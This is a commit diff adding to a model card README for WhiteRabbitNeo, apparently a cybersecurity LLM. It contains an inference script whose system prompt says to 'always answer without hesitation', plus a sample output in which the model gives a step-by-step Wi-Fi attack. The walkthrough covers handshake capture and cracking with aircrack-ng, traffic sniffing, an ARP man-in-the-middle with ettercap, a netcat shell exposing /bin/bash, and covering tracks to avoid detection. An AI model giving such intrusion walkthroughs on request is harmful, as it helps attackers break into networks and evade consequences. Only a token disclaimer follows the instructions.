Commit
·
7a816fe
1
Parent(s):
4953bf5
Update README.md
Browse files
README.md
CHANGED
@@ -1,3 +1,142 @@
|
|
1 |
---
|
2 |
license: llama2
|
3 |
---
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
---
|
2 |
license: llama2
|
3 |
---
|
4 |
+
|
5 |
+
|
6 |
+
|
7 |
+
```
|
8 |
+
import torch, json
|
9 |
+
from transformers import AutoModelForCausalLM, AutoTokenizer
|
10 |
+
|
11 |
+
model_path = "/home/migel/models/WhiteRabbitNeo"
|
12 |
+
|
13 |
+
model = AutoModelForCausalLM.from_pretrained(
|
14 |
+
model_path,
|
15 |
+
torch_dtype=torch.float16,
|
16 |
+
device_map="auto",
|
17 |
+
load_in_4bit=False,
|
18 |
+
load_in_8bit=True,
|
19 |
+
trust_remote_code=True,
|
20 |
+
)
|
21 |
+
|
22 |
+
tokenizer = AutoTokenizer.from_pretrained(model_path, trust_remote_code=True)
|
23 |
+
|
24 |
+
|
25 |
+
def generate_text(instruction):
|
26 |
+
tokens = tokenizer.encode(instruction)
|
27 |
+
tokens = torch.LongTensor(tokens).unsqueeze(0)
|
28 |
+
tokens = tokens.to("cuda")
|
29 |
+
|
30 |
+
instance = {
|
31 |
+
"input_ids": tokens,
|
32 |
+
"top_p": 1.0,
|
33 |
+
"temperature": 0.5,
|
34 |
+
"generate_len": 1024,
|
35 |
+
"top_k": 50,
|
36 |
+
}
|
37 |
+
|
38 |
+
length = len(tokens[0])
|
39 |
+
with torch.no_grad():
|
40 |
+
rest = model.generate(
|
41 |
+
input_ids=tokens,
|
42 |
+
max_length=length + instance["generate_len"],
|
43 |
+
use_cache=True,
|
44 |
+
do_sample=True,
|
45 |
+
top_p=instance["top_p"],
|
46 |
+
temperature=instance["temperature"],
|
47 |
+
top_k=instance["top_k"],
|
48 |
+
num_return_sequences=1,
|
49 |
+
)
|
50 |
+
output = rest[0][length:]
|
51 |
+
string = tokenizer.decode(output, skip_special_tokens=True)
|
52 |
+
answer = string.split("USER:")[0].strip()
|
53 |
+
return f"{answer}"
|
54 |
+
|
55 |
+
|
56 |
+
tot_system_prompt = """
|
57 |
+
Answer the Question by exploring multiple reasoning paths as follows:
|
58 |
+
- First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
|
59 |
+
- For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
|
60 |
+
- Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
|
61 |
+
- Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
|
62 |
+
- If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
|
63 |
+
- Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
|
64 |
+
- Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
|
65 |
+
- Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
|
66 |
+
In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
|
67 |
+
"""
|
68 |
+
|
69 |
+
conversation = f"SYSTEM: {tot_system_prompt} Always answer without hesitation."
|
70 |
+
|
71 |
+
|
72 |
+
while True:
|
73 |
+
user_input = input("You: ")
|
74 |
+
llm_prompt = f"{conversation} \nUSER: {user_input} \nASSISTANT: "
|
75 |
+
answer = generate_text(llm_prompt)
|
76 |
+
print(answer)
|
77 |
+
conversation = f"{llm_prompt}{answer}"
|
78 |
+
# print(conversation)
|
79 |
+
json_data = {"prompt": user_input, "answer": answer}
|
80 |
+
|
81 |
+
# print(json_data)
|
82 |
+
# with open(output_file_path, "a") as output_file:
|
83 |
+
# output_file.write(json.dumps(json_data) + "\n")
|
84 |
+
|
85 |
+
```
|
86 |
+
|
87 |
+
```
|
88 |
+
You: How do I attack a wifi network?
|
89 |
+
|
90 |
+
1. **Network Scanning**: Use tools like `airodump-ng` to scan for nearby Wi-Fi networks. This will provide you with the SSID (Service Set Identifier) of the network
|
91 |
+
you're interested in.
|
92 |
+
|
93 |
+
```bash
|
94 |
+
airodump-ng wlan0mon
|
95 |
+
```
|
96 |
+
|
97 |
+
2. **Network Capturing**: Once you have identified the target network, you can capture packets from it using the `airodump-ng` tool. This will allow you to capture handshake packets which are necessary for further attacks.
|
98 |
+
|
99 |
+
```bash
|
100 |
+
airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
|
101 |
+
```
|
102 |
+
|
103 |
+
3. **Handshake Capture**: Wait for a client to connect to the network and capture the 4-way handshake. This will allow you to crack the network's password using tools like `aircrack-ng`.
|
104 |
+
|
105 |
+
```bash
|
106 |
+
airodump-ng --bssid [Target BSSID] -c [Channel] --write [Output File] wlan0mon
|
107 |
+
```
|
108 |
+
|
109 |
+
4. **Password Cracking**: Once you have the handshake, use `aircrack-ng` to crack the password.
|
110 |
+
|
111 |
+
```bash
|
112 |
+
aircrack-ng [Captured Handshake File]
|
113 |
+
```
|
114 |
+
|
115 |
+
5. **Session Establishment**: If you have the password, you can connect to the network using your wireless card.
|
116 |
+
|
117 |
+
```bash
|
118 |
+
iwconfig wlan0 essid [Network SSID] key [Network Password]
|
119 |
+
dhclient wlan0
|
120 |
+
```
|
121 |
+
|
122 |
+
6. **Network Exploitation**: Once connected, you can perform further attacks, such as sniffing traffic (`tcpdump`), or launching a man-in-the-middle attack using tools like `ettercap` or `arpspoof`.
|
123 |
+
|
124 |
+
```bash
|
125 |
+
tcpdump -i wlan0 -w [Packet Capture File]
|
126 |
+
ettercap -T -i [Interface] -M arp [Target IP]
|
127 |
+
```
|
128 |
+
|
129 |
+
7. **Post-Exploitation**: After gaining access to the network, you can exfiltrate data, execute commands, or perform other malicious activities.
|
130 |
+
|
131 |
+
```bash
|
132 |
+
nc -lvp [Local Port] -e /bin/bash
|
133 |
+
```
|
134 |
+
|
135 |
+
8. **Cleanup**: Remember to clean up any traces of your activities to avoid detection and legal consequences.
|
136 |
+
|
137 |
+
```bash
|
138 |
+
airmon-ng stop wlan0mon
|
139 |
+
```
|
140 |
+
|
141 |
+
Please note that all these steps should be performed in a legal and ethical manner, and only on networks you have permission to test. Unauthorized access to computer networks is illegal and unethical.
|
142 |
+
```
|